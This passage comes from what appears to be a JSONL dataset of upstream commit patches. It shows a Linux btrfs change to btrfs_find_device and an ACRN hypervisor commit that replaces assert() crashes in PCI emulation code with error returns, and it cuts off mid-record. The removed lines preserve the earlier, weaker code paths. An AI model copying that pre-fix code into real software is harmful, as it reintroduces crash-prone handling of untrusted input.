{\n \t\tdevice = btrfs_find_device(fs_info->fs_devices, devid, NULL,\n-\t\t\t\t\t NULL);\n+\t\t\t\t\t NULL, true);\n \t\tif (!device)\n \t\t\treturn ERR_PTR(-ENOENT);\n \t\treturn device;\n", "related": false}, {"section": "@@ -2568,7 +2547,7 @@ static int btrfs_finish_sprout(struct btrfs_trans_handle *trans,\n \t\tread_extent_buffer(leaf, fs_uuid, btrfs_device_fsid(dev_item),\n \t\t\t\t BTRFS_FSID_SIZE);\n \t\tdevice = btrfs_find_device(fs_info->fs_devices, devid, dev_uuid,\n-\t\t\t\t\t fs_uuid);\n+\t\t\t\t\t fs_uuid, true);\n \t\tBUG_ON(!device); /* Logic error */\n \n \t\tif (device->fs_devices->seeding) {\n", "related": false}, {"section": "@@ -6621,19 +6600,36 @@ blk_status_t btrfs_map_bio(struct btrfs_fs_info *fs_info, struct bio *bio,\n \treturn BLK_STS_OK;\n }\n \n+/*\n+ * Find a device specified by @devid or @uuid in the list of @fs_devices, or\n+ * return NULL.\n+ *\n+ * If devid and uuid are both specified, the match must be exact, otherwise\n+ * only devid is used.\n+ *\n+ * If @seed is true, traverse through the seed devices.\n+ */\n struct btrfs_device *btrfs_find_device(struct btrfs_fs_devices *fs_devices,\n-\t\t\t\t u64 devid, u8 *uuid, u8 *fsid)\n+\t\t\t\t u64 devid, u8 *uuid, u8 *fsid,\n+\t\t\t\t bool seed)\n {\n \tstruct btrfs_device *device;\n \n \twhile (fs_devices) {\n \t\tif (!fsid ||\n \t\t !memcmp(fs_devices->metadata_uuid, fsid, BTRFS_FSID_SIZE)) {\n-\t\t\tdevice = find_device(fs_devices, devid, uuid);\n-\t\t\tif (device)\n-\t\t\t\treturn device;\n+\t\t\tlist_for_each_entry(device, &fs_devices->devices,\n+\t\t\t\t\t dev_list) {\n+\t\t\t\tif (device->devid == devid &&\n+\t\t\t\t (!uuid || memcmp(device->uuid, uuid,\n+\t\t\t\t\t\t BTRFS_UUID_SIZE) == 0))\n+\t\t\t\t\treturn device;\n+\t\t\t}\n \t\t}\n-\t\tfs_devices = fs_devices->seed;\n+\t\tif (seed)\n+\t\t\tfs_devices = fs_devices->seed;\n+\t\telse\n+\t\t\treturn NULL;\n \t}\n \treturn NULL;\n }\n", "related": false}, {"section": "@@ -6879,7 +6875,7 @@ static int read_one_chunk(struct btrfs_fs_info *fs_info, struct btrfs_key *key,\n \t\t\t\t btrfs_stripe_dev_uuid_nr(chunk, i),\n \t\t\t\t BTRFS_UUID_SIZE);\n \t\tmap->stripes[i].dev = btrfs_find_device(fs_info->fs_devices,\n-\t\t\t\t\t\t\tdevid, uuid, NULL);\n+\t\t\t\t\t\t\tdevid, uuid, NULL, true);\n \t\tif (!map->stripes[i].dev &&\n \t\t !btrfs_test_opt(fs_info, DEGRADED)) {\n \t\t\tfree_extent_map(em);\n", "related": false}, {"section": "@@ -7019,7 +7015,7 @@ static int read_one_dev(struct btrfs_fs_info *fs_info,\n \t}\n \n \tdevice = btrfs_find_device(fs_info->fs_devices, devid, dev_uuid,\n-\t\t\t\t fs_uuid);\n+\t\t\t\t fs_uuid, true);\n \tif (!device) {\n \t\tif (!btrfs_test_opt(fs_info, DEGRADED)) {\n \t\t\tbtrfs_report_missing_device(fs_info, devid,\n", "related": false}, {"section": "@@ -7609,7 +7605,8 @@ int btrfs_get_dev_stats(struct btrfs_fs_info *fs_info,\n \tint i;\n \n \tmutex_lock(&fs_devices->device_list_mutex);\n-\tdev = btrfs_find_device(fs_info->fs_devices, stats->devid, NULL, NULL);\n+\tdev = btrfs_find_device(fs_info->fs_devices, stats->devid, NULL, NULL,\n+\t\t\t\ttrue);\n \tmutex_unlock(&fs_devices->device_list_mutex);\n \n \tif (!dev) {\n", "related": false}, {"section": "@@ -7823,7 +7820,7 @@ static int verify_one_dev_extent(struct btrfs_fs_info *fs_info,\n \t}\n \n \t/* Make sure no dev extent is beyond device bondary */\n-\tdev = btrfs_find_device(fs_info->fs_devices, devid, NULL, NULL);\n+\tdev = btrfs_find_device(fs_info->fs_devices, devid, NULL, NULL, true);\n \tif (!dev) {\n \t\tbtrfs_err(fs_info, \"failed to find devid %llu\", devid);\n \t\tret = -EUCLEAN;\n", "related": false}, {"section": "@@ -7832,7 +7829,8 @@ static int verify_one_dev_extent(struct btrfs_fs_info *fs_info,\n \n \t/* It's possible this device is a dummy for seed device */\n \tif (dev->disk_total_bytes == 0) {\n-\t\tdev = find_device(fs_info->fs_devices->seed, devid, NULL);\n+\t\tdev = btrfs_find_device(fs_info->fs_devices->seed, devid, NULL,\n+\t\t\t\t\tNULL, false);\n \t\tif (!dev) {\n \t\t\tbtrfs_err(fs_info, \"failed to find seed devid %llu\",\n \t\t\t\t devid);", "related": false}]} +{"owner": "projectacrn", "repo": "acrn-hypervisor", "language": "C", "file_name": "devicemodel/hw/pci/core.c", "commit_id": "2b3dedfb9ba13f15887f22b935d373f36c9a59fa", "commit_message": "dm: pci: clean up assert() in pci core\n\nTracked-On: #3252\nSigned-off-by: Shuo A Liu \nReviewed-by: Yonghua Huang ", "patch": "@@ -426,11 +426,10 @@ pci_emul_mem_handler(struct vmctx *ctx, int vcpu, int dir, uint64_t addr,\n \tuint64_t offset;\n \tint bidx = (int) arg2;\n \n-\tassert(bidx <= PCI_BARMAX);\n-\tassert(pdi->bar[bidx].type == PCIBAR_MEM32 ||\n-\t pdi->bar[bidx].type == PCIBAR_MEM64);\n-\tassert(addr >= pdi->bar[bidx].addr &&\n-\t addr + size <= pdi->bar[bidx].addr + pdi->bar[bidx].size);\n+\tif (addr + size > pdi->bar[bidx].addr + pdi->bar[bidx].size) {\n+\t\tpr_err(\"%s, Out of emulated memory range\\n\", __func__);\n+\t\treturn -ESRCH;\n+\t}\n \n \toffset = addr - pdi->bar[bidx].addr;\n \n@@ -473,7 +472,10 @@ pci_emul_alloc_resource(uint64_t *baseptr, uint64_t limit, uint64_t size,\n {\n \tuint64_t base;\n \n-\tassert((size & (size - 1)) == 0);\t/* must be a power of 2 */\n+\tif ((size & (size - 1)) != 0) {\t/* must be a power of 2 */\n+\t\tpr_err(\"%s: Cannot alloc invalid size %lld resource\\n\", __func__, size);\n+\t\treturn -1;\n+\t}\n \n \tbase = roundup2(*baseptr, size);\n \n@@ -496,7 +498,7 @@ pci_emul_alloc_bar(struct pci_vdev *pdi, int idx, enum pcibar_type type,\n * Register (or unregister) the MMIO or I/O region associated with the BAR\n * register 'idx' of an emulated pci device.\n */\n-static void\n+static int\n modify_bar_registration(struct pci_vdev *dev, int idx, int registration)\n {\n \tint error;\n@@ -515,7 +517,7 @@ modify_bar_registration(struct pci_vdev *dev, int idx, int registration)\n \t\t * acrn-dm.\n \t\t */\n \t\tprintf(\"modify_bar_registration: bypass for pci-gvt\\n\");\n-\t\treturn;\n+\t\treturn 0;\n \t}\n \tswitch (dev->bar[idx].type) {\n \tcase PCIBAR_IO:\n@@ -550,7 +552,8 @@ modify_bar_registration(struct pci_vdev *dev, int idx, int registration)\n \t\terror = EINVAL;\n \t\tbreak;\n \t}\n-\tassert(error == 0);\n+\n+\treturn error;\n }\n \n static void\n@@ -624,7 +627,8 @@ update_bar_address(struct vmctx *ctx, struct pci_vdev *dev, uint64_t addr,\n \t\tdev->bar[idx].addr |= addr;\n \t\tbreak;\n \tdefault:\n-\t\tassert(0);\n+\t\tpr_err(\"%s: invalid bar type %d\\n\", __func__, type);\n+\t\treturn;\n \t}\n \n \tif (decode)\n@@ -642,8 +646,6 @@ pci_emul_alloc_pbar(struct pci_vdev *pdi, int idx, uint64_t hostbase,\n \tint error;\n \tuint64_t *baseptr, limit, addr, mask, lobits, bar;\n \n-\tassert(idx >= 0 && idx <= PCI_BARMAX);\n-\n \tif ((size & (size - 1)) != 0)\n \t\tsize = 1UL << flsl(size);\t/* round up to a power of 2 */\n \n@@ -668,6 +670,10 @@ pci_emul_alloc_pbar(struct pci_vdev *pdi, int idx, uint64_t hostbase,\n \t\tlobits = PCIM_BAR_IO_SPACE;\n \t\tbreak;\n \tcase PCIBAR_MEM64:\n+\t\tif (idx + 1 > PCI_BARMAX) {\n+\t\t\tpr_err(\"%s: invalid bar number %d for MEM64 type\\n\", __func__, idx);\n+\t\t\treturn -1;\n+\t\t}\n \t\t/*\n \t\t * FIXME\n \t\t * Some drivers do not work well if the 64-bit BAR is allocated\n@@ -703,8 +709,8 @@ pci_emul_alloc_pbar(struct pci_vdev *pdi, int idx, uint64_t hostbase,\n \t\tlobits = PCIM_BAR_MEM_SPACE | PCIM_BAR_MEM_32;\n \t\tbreak;\n \tdefault:\n-\t\tprintf(\"%s: invalid bar type %d\\n\", __func__, type);\n-\t\tassert(0);\n+\t\tpr_err(\"%s: invalid bar type %d\\n\", __func__, type);\n+\t\treturn -1;\n \t}\n \n \tif (baseptr != NULL) {\n@@ -722,7 +728,6 @@ pci_emul_alloc_pbar(struct pci_vdev *pdi, int idx, uint64_t hostbase,\n \tpci_set_cfgdata32(pdi, PCIR_BAR(idx), bar);\n \n \tif (type == PCIBAR_MEM64) {\n-\t\tassert(idx + 1 <= PCI_BARMAX);\n \t\tpdi->bar[idx + 1].type = PCIBAR_MEMHI64;\n \t\tpci_set_cfgdata32(pdi, PCIR_BAR(idx + 1), bar >> 32);\n \t}\n@@ -765,8 +770,6 @@ pci_emul_add_capability(struct pci_vdev *dev, u_char *capdata, int caplen)\n \tint i, capoff, reallen;\n \tuint16_t sts;\n \n-\tassert(caplen > 0);\n-\n \treallen = roundup2(caplen, 4);\t\t/* dword aligned */\n \n \tsts = pci_get_cfgdata16(dev, PCIR_STATUS);\n@@ -913,38 +916,40 @@ pci_emul_deinit(struct vmctx *ctx, struct pci_vdev_ops *ops, int bus, int slot,\n \t}\n }\n \n-void\n+int\n pci_populate_msicap(struct msicap *msicap, int msgnum, int nextptr)\n {\n \tint mmc;\n \n \t/* Number of msi messages must be a power of 2 between 1 and 32 */\n-\tassert((msgnum & (msgnum - 1)) == 0 && msgnum >= 1 && msgnum <= 32);\n+\tif (((msgnum & (msgnum - 1)) != 0) || msgnum < 1 || msgnum > 32) {\n+\t\tpr_err(\"%s: invalid number of msi messages!\\n\", __func__);\n+\t\treturn -1;\n+\t}\n \tmmc = ffs(msgnum) - 1;\n \n \tbzero(msicap, sizeof(struct msicap));\n \tmsicap->capid = PCIY_MSI;\n \tmsicap->nextptr = nextptr;\n \tmsicap->msgctrl = PCIM_MSICTRL_64BIT | (mmc << 1);\n+\n+\treturn 0;\n }\n \n int\n pci_emul_add_msicap(struct pci_vdev *dev, int msgnum)\n {\n \tstruct msicap msicap;\n \n-\tpci_populate_msicap(&msicap, msgnum, 0);\n-\n-\treturn pci_emul_add_capability(dev, (u_char *)&msicap, sizeof(msicap));\n+\treturn pci_populate_msicap(&msicap, msgnum, 0) ||\n+\t\tpci_emul_add_capability(dev, (u_char *)&msicap, sizeof(msicap));\n }\n \n static void\n pci_populate_msixcap(struct msixcap *msixcap, int msgnum, int barnum,\n \t\t uint32_t msix_tab_size)\n {\n \n-\tassert(msix_tab_size % 4096 == 0);\n-\n \tbzero(msixcap, sizeof(struct msixcap));\n \tmsixcap->capid = PCIY_MSIX;\n \n@@ -964,22 +969,23 @@ pci_populate_msixcap(struct msixcap *msixcap, int msgnum, int barnum,\n \tmsixcap->pba_info = msix_tab_size | (barnum & PCIM_MSIX_BIR_MASK);\n }\n \n-static void\n+static int\n pci_msix_table_init(struct pci_vdev *dev, int table_entries)\n {\n \tint i, table_size;\n \n-\tassert(table_entries > 0);\n-\tassert(table_entries <= MAX_MSIX_TABLE_ENTRIES);\n-\n \ttable_size = table_entries * MSIX_TABLE_ENTRY_SIZE;\n \tdev->msix.table = calloc(1, table_size);\n-\n-\tassert(dev->msix.table != NULL);\n+\tif (!dev->msix.table) {\n+\t\tpr_err(\"%s: Cannot alloc memory!\\n\", __func__);\n+\t\treturn -1;\n+\t}\n \n \t/* set mask bit of vector control register */\n \tfor (i = 0; i < table_entries; i++)\n \t\tdev->msix.table[i].vector_control |= PCIM_MSIX_VCTRL_MASK;\n+\n+\treturn 0;\n }\n \n int\n@@ -988,8 +994,10 @@ pci_emul_add_msixcap(struct pci_vdev *dev, int msgnum, int barnum)\n \tuint32_t tab_size;\n \tstruct msixcap msixcap;\n \n-\tassert(msgnum >= 1 && msgnum <= MAX_MSIX_TABLE_ENTRIES);\n-\tassert(barnum >= 0 && barnum <= PCIR_MAX_BAR_0);\n+\tif (msgnum > MAX_MSIX_TABLE_ENTRIES) {\n+\t\tpr_err(\"%s: Too many entries!\\n\", __func__);\n+\t\treturn -1;\n+\t}\n \n \ttab_size = msgnum * MSIX_TABLE_ENTRY_SIZE;\n \n@@ -1003,7 +1011,8 @@ pci_emul_add_msixcap(struct pci_vdev *dev, int msgnum, int barnum)\n \tdev->msix.pba_offset = tab_size;\n \tdev->msix.pba_size = PBA_SIZE(msgnum);\n \n-\tpci_msix_table_init(dev, msgnum);\n+\tif (pci_msix_table_init(dev, msgnum) != 0)\n+\t\treturn -1;\n \n \tpci_populate_msixcap(&msixcap, msgnum, barnum, tab_size);\n \n@@ -1143,7 +1152,6 @@ pci_emul_capwrite(struct pci_vdev *dev, int offset, int bytes, uint32_t val)\n \n \t\tcapoff = nextoff;\n \t}\n-\tassert(offset >= capoff);\n \n \t/*\n \t * Capability ID and Next Capability Pointer are readonly.\n@@ -1262,8 +1270,10 @@ init_pci(struct vmctx *ctx)\n \t\t\t\tif (fi->fi_name == NULL)\n \t\t\t\t\tcontinue;\n \t\t\t\tops = pci_emul_finddev(fi->fi_name);\n-\t\t\t\tassert(ops != NULL);\n-\n+\t\t\t\tif (!ops) {\n+\t\t\t\t\tpr_warn(\"No driver for device [%s]\\n\", fi->fi_name);\n+\t\t\t\t\tcontinue;\n+\t\t\t\t}\n \t\t\t\tpr_notice(\"pci init %s\\r\\n\", fi->fi_name);\n \t\t\t\terror = pci_emul_init(ctx, ops, bus, slot,\n \t\t\t\t func, fi);\n@@ -1348,7 +1358,8 @@ init_pci(struct vmctx *ctx)\n \tmr.size = (4ULL * 1024 * 1024 * 1024) - lowmem;\n \tmr.handler = pci_emul_fallback_handler;\n \terror = register_mem_fallback(&mr);\n-\tassert(error == 0);\n+\tif (error != 0)\n+\t\tgoto pci_emul_init_fail;\n \n \t/* ditto for the 64-bit PCI host aperture */\n \tbzero(&mr, sizeof(struct mem_range));\n@@ -1358,7 +1369,8 @@ init_pci(struct vmctx *ctx)\n \tmr.size = PCI_EMUL_MEMLIMIT64 - PCI_EMUL_MEMBASE64;\n \tmr.handler = pci_emul_fallback_handler;\n \terror = register_mem_fallback(&mr);\n-\tassert(error == 0);\n+\tif (error != 0)\n+\t\tgoto pci_emul_init_fail;\n \n \t/* PCI extended config space */\n \tbzero(&mr, sizeof(struct mem_range));\n@@ -1368,7 +1380,8 @@ init_pci(struct vmctx *ctx)\n \tmr.size = PCI_EMUL_ECFG_SIZE;\n \tmr.handler = pci_emul_ecfg_handler;\n \terror = register_mem(&mr);\n-\tassert(error == 0);\n+\tif (error != 0)\n+\t\tgoto pci_emul_init_fail;\n \n \treturn 0;\n \n@@ -1386,7 +1399,10 @@ init_pci(struct vmctx *ctx)\n \t\t\t\tif (success_cnt-- <= 0)\n \t\t\t\t\tbreak;\n \t\t\t\tops = pci_emul_finddev(fi->fi_name);\n-\t\t\t\tassert(ops != NULL);\n+\t\t\t\tif (!ops) {\n+\t\t\t\t\tpr_warn(\"No driver for device [%s]\\n\", fi->fi_name);\n+\t\t\t\t\tcontinue;\n+\t\t\t\t}\n \t\t\t\tpci_emul_deinit(ctx, ops, bus, slot,\n \t\t\t\t func, fi);\n \t\t\t}\n@@ -1441,8 +1457,10 @@ deinit_pci(struct vmctx *ctx)\n \t\t\t\tif (fi->fi_name == NULL)\n \t\t\t\t\tcontinue;\n \t\t\t\tops = pci_emul_finddev(fi->fi_name);\n-\t\t\t\tassert(ops != NULL);\n-\n+\t\t\t\tif (!ops) {\n+\t\t\t\t\tpr_warn(\"No driver for device [%s]\\n\", fi->fi_name);\n+\t\t\t\t\tcontinue;\n+\t\t\t\t}\n \t\t\t\tpr_notice(\"pci deinit %s\\n\", fi->fi_name);\n \t\t\t\tpci_emul_deinit(ctx, ops, bus, slot,\n \t\t\t\t func, fi);\n@@ -1559,7 +1577,6 @@ pci_bus_write_dsdt(int bus)\n \t\t\tgoto done;\n \t\t}\n \t}\n-\tassert(bi != NULL);\n \n \t/* i/o window */\n \tdsdt_line(\" WordIO (ResourceProducer, MinFixed, MaxFixed, \"\n@@ -1663,7 +1680,6 @@ pci_write_dsdt(void)\n int\n pci_bus_configured(int bus)\n {\n-\tassert(bus >= 0 && bus < MAXBUSES);\n \treturn (pci_businfo[bus] != NULL);\n }\n \n@@ -1752,7 +1768,10 @@ pci_lintr_request(struct pci_vdev *dev)\n \tint bestpin, bestcount, pin;\n \n \tbi = pci_businfo[dev->bus];\n-\tassert(bi != NULL);\n+\tif (bi == NULL) {\n+\t\tpr_err(\"%s: pci [%s] has wrong bus %d info!\\n\", __func__, dev->name, dev->bus);\n+\t\treturn;\n+\t}\n \n \t/*\n \t * Just allocate a pin from our slot. The pin will be\n@@ -1781,7 +1800,10 @@ pci_lintr_release(struct pci_vdev *dev)\n \tint pin;\n \n \tbi = pci_businfo[dev->bus];\n-\tassert(bi != NULL);\n+\tif (bi == NULL) {\n+\t\tpr_err(\"%s: pci [%s] has wrong bus %d info!\\n\", __func__, dev->name, dev->bus);\n+\t\treturn;\n+\t}\n \n \tsi = &bi->slotinfo[dev->slot];\n \n@@ -1802,7 +1824,10 @@ pci_lintr_route(struct pci_vdev *dev)\n \t\treturn;\n \n \tbi = pci_businfo[dev->bus];\n-\tassert(bi != NULL);\n+\tif (bi == NULL) {\n+\t\tpr_err(\"%s: pci [%s] has wrong bus %d info!\\n\", __func__, dev->name, dev->bus);\n+\t\treturn;\n+\t}\n \tii = &bi->slotinfo[dev->slot].si_intpins[dev->lintr.pin - 1];\n \n \t/*\n@@ -1811,15 +1836,13 @@ pci_lintr_route(struct pci_vdev *dev)\n \t */\n \tif (ii->ii_ioapic_irq == 0)\n \t\tii->ii_ioapic_irq = ioapic_pci_alloc_irq(dev);\n-\tassert(ii->ii_ioapic_irq > 0);\n \n \t/*\n \t * Attempt to allocate a PIRQ pin for this intpin if one is\n \t * not yet assigned.\n \t */\n \tif (ii->ii_pirq_pin == 0)\n \t\tii->ii_pirq_pin = pirq_alloc_pin(dev);\n-\tassert(ii->ii_pirq_pin > 0);\n \n \tdev->lintr.ioapic_irq = ii->ii_ioapic_irq;\n \tdev->lintr.pirq_pin = ii->ii_pirq_pin;\n@@ -1836,7 +1859,10 @@ pci_lintr_route(struct pci_vdev *dev)\n void\n pci_lintr_assert(struct pci_vdev *dev)\n {\n-\tassert(dev->lintr.pin > 0);\n+\tif (dev->lintr.pin <= 0) {\n+\t\tpr_warn(\"%s: Invalid intr pin on dev [%s]\\n\", __func__, dev->name);\n+\t\treturn;\n+\t}\n \n \tpthread_mutex_lock(&dev->lintr.lock);\n \tif (dev->lintr.state == IDLE) {\n@@ -1859,7 +1885,10 @@ pci_lintr_assert(struct pci_vdev *dev)\n void\n pci_lintr_deassert(struct pci_vdev *dev)\n {\n-\tassert(dev->lintr.pin > 0);\n+\tif (dev->lintr.pin <= 0) {\n+\t\tpr_warn(\"%s: Invalid intr pin on dev [%s]\\n\", __func__, dev->name);\n+\t\treturn;\n+\t}\n \n \tpthread_mutex_lock(&dev->lintr.lock);\n \tif (dev->lintr.state == ASSERTED) {\n@@ -2031,7 +2060,8 @@ pci_emul_cmdsts_write(struct pci_vdev *dev, int coff, uint32_t new, int bytes)\n \t\t\t}\n \t\t\tbreak;\n \t\tdefault:\n-\t\t\tassert(0);\n+\t\t\tpr_err(\"%s: invalid bar type %d\\n\", __func__, dev->bar[i].type);\n+\t\t\treturn;\n \t\t}\n \t}\n \n@@ -2196,7 +2226,6 @@ pci_cfgrw(struct vmctx *ctx, int vcpu, int in, int bus, int slot, int func,\n \t\t\t\t}\n \t\t\t\tbreak;\n \t\t\tcase PCIBAR_MEMHI64:\n-\t\t\t\tassert(idx >= 1);\n \t\t\t\tmask = ~(dev->bar[idx - 1].size - 1);\n \t\t\t\taddr = ((uint64_t)*eax << 32) & mask;\n \t\t\t\tbar = addr >> 32;\n@@ -2207,7 +2236,8 @@ pci_cfgrw(struct vmctx *ctx, int vcpu, int in, int bus, int slot, int func,\n \t\t\t\t}\n \t\t\t\tbreak;\n \t\t\tdefault:\n-\t\t\t\tassert(0);\n+\t\t\t\tpr_err(\"%s: invalid bar type %d\\n\", __func__, dev->bar[idx].type);\n+\t\t\t\treturn;\n \t\t\t}\n \t\t\tpci_set_cfgdata32(dev, coff, bar);\n \n@@ -2307,7 +2337,6 @@ struct pci_emul_dummy {\n static int\n pci_emul_dinit(struct vmctx *ctx, struct pci_vdev *dev, char *opts)\n {\n-\tint error;\n \tstruct pci_emul_dummy *dummy;\n \n \tdummy = calloc(1, sizeof(struct pci_emul_dummy));\n@@ -2318,19 +2347,10 @@ pci_emul_dinit(struct vmctx *ctx, struct pci_vdev *dev, char *opts)\n \tpci_set_cfgdata16(dev, PCIR_VENDOR, 0x10DD);\n \tpci_set_cfgdata8(dev, PCIR_CLASS, 0x02);\n \n-\terror = pci_emul_add_msicap(dev, PCI_EMUL_MSI_MSGS);\n-\tassert(error == 0);\n-\n-\terror = pci_emul_alloc_bar(dev, 0, PCIBAR_IO, DIOSZ);\n-\tassert(error == 0);\n-\n-\terror = pci_emul_alloc_bar(dev, 1, PCIBAR_MEM32, DMEMSZ);\n-\tassert(error == 0);\n-\n-\terror = pci_emul_alloc_bar(dev, 2, PCIBAR_MEM32, DMEMSZ);\n-\tassert(error == 0);\n-\n-\treturn 0;\n+\treturn pci_emul_add_msicap(dev, PCI_EMUL_MSI_MSGS) ||\n+\t\tpci_emul_alloc_bar(dev, 0, PCIBAR_IO, DIOSZ) ||\n+\t\tpci_emul_alloc_bar(dev, 1, PCIBAR_MEM32, DMEMSZ) ||\n+\t\tpci_emul_alloc_bar(dev, 2, PCIBAR_MEM32, DMEMSZ);\n }\n \n static void\n@@ -2467,7 +2487,8 @@ pci_get_vdev_info(int slot)\n \tstruct pci_vdev *dev = NULL;\n \n \tbi = pci_businfo[0];\n-\tassert(bi != NULL);\n+\tif (bi == NULL)\n+\t\treturn NULL;\n \n \tsi = &bi->slotinfo[slot];\n \tif (si != NULL)", "sections": [{"section": "@@ -426,11 +426,10 @@ pci_emul_mem_handler(struct vmctx *ctx, int vcpu, int dir, uint64_t addr,\n \tuint64_t offset;\n \tint bidx = (int) arg2;\n \n-\tassert(bidx <= PCI_BARMAX);\n-\tassert(pdi->bar[bidx].type == PCIBAR_MEM32 ||\n-\t pdi->bar[bidx].type == PCIBAR_MEM64);\n-\tassert(addr >= pdi->bar[bidx].addr &&\n-\t addr + size <= pdi->bar[bidx].addr + pdi->bar[bidx].size);\n+\tif (addr + size > pdi->bar[bidx].addr + pdi->bar[bidx].size) {\n+\t\tpr_err(\"%s, Out of emulated memory range\\n\", __func__);\n+\t\treturn -ESRCH;\n+\t}\n \n \toffset = addr - pdi->bar[bidx].addr;\n \n", "related": false}, {"section": "@@ -473,7 +472,10 @@ pci_emul_alloc_resource(uint64_t *baseptr, uint64_t limit, uint64_t size,\n {\n \tuint64_t base;\n \n-\tassert((size & (size - 1)) == 0);\t/* must be a power of 2 */\n+\tif ((size & (size - 1)) != 0) {\t/* must be a power of 2 */\n+\t\tpr_err(\"%s: Cannot alloc invalid size %lld resource\\n\", __func__, size);\n+\t\treturn -1;\n+\t}\n \n \tbase = roundup2(*baseptr, size);\n \n", "related": false}, {"section": "@@ -496,7 +498,7 @@ pci_emul_alloc_bar(struct pci_vdev *pdi, int idx, enum pcibar_type type,\n * Register (or unregister) the MMIO or I/O region associated with the BAR\n * register 'idx' of an emulated pci device.\n */\n-static void\n+static int\n modify_bar_registration(struct pci_vdev *dev, int idx, int registration)\n {\n \tint error;\n", "related": false}, {"section": "@@ -515,7 +517,7 @@ modify_bar_registration(struct pci_vdev *dev, int idx, int registration)\n \t\t * acrn-dm.\n \t\t */\n \t\tprintf(\"modify_bar_registration: bypass for pci-gvt\\n\");\n-\t\treturn;\n+\t\treturn 0;\n \t}\n \tswitch (dev->bar[idx].type) {\n \tcase PCIBAR_IO:\n", "related": false}, {"section": "@@ -550,7 +552,8 @@ modify_bar_registration(struct pci_vdev *dev, int idx, int registration)\n \t\terror = EINVAL;\n \t\tbreak;\n \t}\n-\tassert(error == 0);\n+\n+\treturn error;\n }\n \n static void\n", "related": false}, {"section": "@@ -624,7 +627,8 @@ update_bar_address(struct vmctx *ctx, struct pci_vdev *dev, uint64_t addr,\n \t\tdev->bar[idx].addr |= addr;\n \t\tbreak;\n \tdefault:\n-\t\tassert(0);\n+\t\tpr_err(\"%s: invalid bar type %d\\n\", __func__, type);\n+\t\treturn;\n \t}\n \n \tif (decode)\n", "related": false}, {"section": "@@ -642,8 +646,6 @@ pci_emul_alloc_pbar(struct pci_vdev *pdi, int idx, uint64_t hostbase,\n \tint error;\n \tuint64_t *baseptr, limit, addr, mask, lobits, bar;\n \n-\tassert(idx >= 0 && idx <= PCI_BARMAX);\n-\n \tif ((size & (size - 1)) != 0)\n \t\tsize = 1UL << flsl(size);\t/* round up to a power of 2 */\n \n", "related": false}, {"section": "@@ -668,6 +670,10 @@ pci_emul_alloc_pbar(struct pci_vdev *pdi, int idx, uint64_t hostbase,\n \t\tlobits = PCIM_BAR_IO_SPACE;\n \t\tbreak;\n \tcase PCIBAR_MEM64:\n+\t\tif (idx + 1 > PCI_BARMAX) {\n+\t\t\tpr_err(\"%s: invalid bar number %d for MEM64 type\\n\", __func__, idx);\n+\t\t\treturn -1;\n+\t\t}\n \t\t/*\n \t\t * FIXME\n \t\t * Some drivers do not work well if the 64-bit BAR is allocated\n", "related": false}, {"section": "@@ -703,8 +709,8 @@ pci_emul_alloc_pbar(struct pci_vdev *pdi, int idx, uint64_t hostbase,\n \t\tlobits = PCIM_BAR_MEM_SPACE | PCIM_BAR_MEM_32;\n \t\tbreak;\n \tdefault:\n-\t\tprintf(\"%s: invalid bar type %d\\n\", __func__, type);\n-\t\tassert(0);\n+\t\tpr_err(\"%s: invalid bar type %d\\n\", __func__, type);\n+\t\treturn -1;\n \t}\n \n \tif (baseptr != NULL) {\n", "related": false}, {"section": "@@ -722,7 +728,6 @@ pci_emul_alloc_pbar(struct pci_vdev *pdi, int idx, uint64_t hostbase,\n \tpci_set_cfgdata32(pdi, PCIR_BAR(idx), bar);\n \n \tif (type == PCIBAR_MEM64) {\n-\t\tassert(idx + 1 <= PCI_BARMAX);\n \t\tpdi->bar[idx + 1].type = PCIBAR_MEMHI64;\n \t\tpci_set_cfgdata32(pdi, PCIR_BAR(idx + 1), bar >> 32);\n \t}\n", "related": false}, {"section": "@@ -765,8 +770,6 @@ pci_emul_add_capability(struct pci_vdev *dev, u_char *capdata, int caplen)\n \tint i, capoff, reallen;\n \tuint16_t sts;\n \n-\tassert(caplen > 0);\n-\n \treallen = roundup2(caplen, 4);\t\t/* dword aligned */\n \n \tsts = pci_get_cfgdata16(dev, PCIR_STATUS);\n", "related": false}, {"section": "@@ -913,38 +916,40 @@ pci_emul_deinit(struct vmctx *ctx, struct pci_vdev_ops *ops, int bus, int slot,\n \t}\n }\n \n-void\n+int\n pci_populate_msicap(struct msicap *msicap, int msgnum, int nextptr)\n {\n \tint mmc;\n \n \t/* Number of msi messages must be a power of 2 between 1 and 32 */\n-\tassert((msgnum & (msgnum - 1)) == 0 && msgnum >= 1 && msgnum <= 32);\n+\tif (((msgnum & (msgnum - 1)) != 0) || msgnum < 1 || msgnum > 32) {\n+\t\tpr_err(\"%s: invalid number of msi messages!\\n\", __func__);\n+\t\treturn -1;\n+\t}\n \tmmc = ffs(msgnum) - 1;\n \n \tbzero(msicap, sizeof(struct msicap));\n \tmsicap->capid = PCIY_MSI;\n \tmsicap->nextptr = nextptr;\n \tmsicap->msgctrl = PCIM_MSICTRL_64BIT | (mmc << 1);\n+\n+\treturn 0;\n }\n \n int\n pci_emul_add_msicap(struct pci_vdev *dev, int msgnum)\n {\n \tstruct msicap msicap;\n \n-\tpci_populate_msicap(&msicap, msgnum, 0);\n-\n-\treturn pci_emul_add_capability(dev, (u_char *)&msicap, sizeof(msicap));\n+\treturn pci_populate_msicap(&msicap, msgnum, 0) ||\n+\t\tpci_emul_add_capability(dev, (u_char *)&msicap, sizeof(msicap));\n }\n \n static void\n pci_populate_msixcap(struct msixcap *msixcap, int msgnum, int barnum,\n \t\t uint32_t msix_tab_size)\n {\n \n-\tassert(msix_tab_size % 4096 == 0);\n-\n \tbzero(msixcap, sizeof(struct msixcap));\n \tmsixcap->capid = PCIY_MSIX;\n \n", "related": false}, {"section": "@@ -964,22 +969,23 @@ pci_populate_msixcap(struct msixcap *msixcap, int msgnum, int barnum,\n \tmsixcap->pba_info = msix_tab_size | (barnum & PCIM_MSIX_BIR_MASK);\n }\n \n-static void\n+static int\n pci_msix_table_init(struct pci_vdev *dev, int table_entries)\n {\n \tint i, table_size;\n \n-\tassert(table_entries > 0);\n-\tassert(table_entries <= MAX_MSIX_TABLE_ENTRIES);\n-\n \ttable_size = table_entries * MSIX_TABLE_ENTRY_SIZE;\n \tdev->msix.table = calloc(1, table_size);\n-\n-\tassert(dev->msix.table != NULL);\n+\tif (!dev->msix.table) {\n+\t\tpr_err(\"%s: Cannot alloc memory!\\n\", __func__);\n+\t\treturn -1;\n+\t}\n \n \t/* set mask bit of vector control register */\n \tfor (i = 0; i < table_entries; i++)\n \t\tdev->msix.table[i].vector_control |= 